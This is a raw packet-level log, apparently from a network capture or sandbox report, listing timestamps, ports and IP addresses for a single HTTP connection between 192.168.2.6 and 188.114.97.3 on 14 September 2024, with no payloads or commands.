Sep 14, 2024 18:44:11.218403101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218411922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218435049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218486071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218491077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218529940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218580008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218630075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218662024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218693972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218729019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218779087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218811989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218823910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218842983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218863964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218894958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218918085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218931913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218947887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218982935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219016075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219033957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219052076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219103098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219139099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219153881 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219187975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219193935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219223022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219255924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219269991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219289064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219326973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219357967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219388008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219423056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219434977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219455957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219487906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219505072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219521046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219552040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219563007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219585896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219618082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219649076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219671011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219679117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219716072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219716072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219748974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219757080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219782114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219814062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219845057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219863892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219881058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219906092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.219916105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.219969034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220022917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220053911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220065117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220088005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220119953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220154047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220180988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220187902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220221043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220235109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220266104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220309019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220318079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220351934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220364094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220396042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220427036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220465899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220484018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220520020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220527887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220568895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220601082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220633984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220634937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220666885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220689058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220700026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220732927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220755100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220763922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220797062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220830917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220844984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220865965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220880985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.220900059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.220947981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.221009016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221040964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221074104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221110106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221142054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221178055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221183062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.221183062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.221213102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221250057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.221259117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.221293926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.262885094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.262923956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.262974024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.263008118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.263041973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.263077974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.263096094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.263096094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.263112068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.263135910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.264698029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.264748096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.264771938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.264785051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.264842033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.264849901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.264885902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.264920950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.264942884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.264954090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265047073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.265563965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265599966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265655041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265693903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.265703917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265738964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265769958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265809059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.265829086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.265841007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.266618013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.306307077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306338072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306405067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306457043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306495905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306529999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306565046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306615114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306631088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.306631088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.306648970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306683064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306716919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.306725025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306747913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.306776047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306811094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306844950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306871891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.306879997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306910992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.306915045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.306950092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307008028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307008028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307039976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307073116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307094097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307105064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307130098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307141066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307193995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307231903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307256937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307265997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307298899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307300091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307332993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307364941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307404041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307415962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307435989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307450056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307478905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307533979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307537079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307574987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307591915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307606936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307642937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307681084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307704926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307734966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307738066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307766914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307799101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307823896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307836056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307874918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307907104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307939053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307939053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.307967901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.307976007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308023930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308060884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308089018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308115005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308121920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308147907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308180094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308217049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308223009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308248997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308269978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308280945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308320999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308348894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308374882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308386087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308408022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308418989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308450937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308481932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308509111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308517933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308545113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308556080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308588028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308619976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308619976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308653116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308679104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308689117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308741093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308773994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308800936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308805943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308835030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308842897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308875084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308906078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308938980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308939934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.308960915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.308973074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309005022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309036970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309058905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309072018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309094906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309109926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309145927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309165955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309178114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309211016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309238911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309263945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309271097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309298992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309309006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309340954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309390068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309392929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309427023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309459925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309494972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309494972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309530020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309533119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309561014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309578896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309597015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309632063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309663057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309669971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309703112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309735060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309756041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.309767008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.309788942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.351475954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351522923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351572037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.351579905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351615906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351649046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351680994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.351687908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351721048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.351722002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351758003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.351773024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.353224993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.353279114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.353296041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.353313923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.353362083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.353372097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.353399992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.353432894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.353472948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.353516102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.353538990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.354109049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.354159117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.354196072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.354213953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.354245901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.354279041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.354300022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.354311943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.354350090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.354406118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.394957066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395009995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395044088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395075083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395104885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395113945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395129919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395170927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395206928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395220995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395242929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395262003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395279884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395329952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.395334959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.395370960 CEST	80	49722	188.114.97.3	192.168.2.6
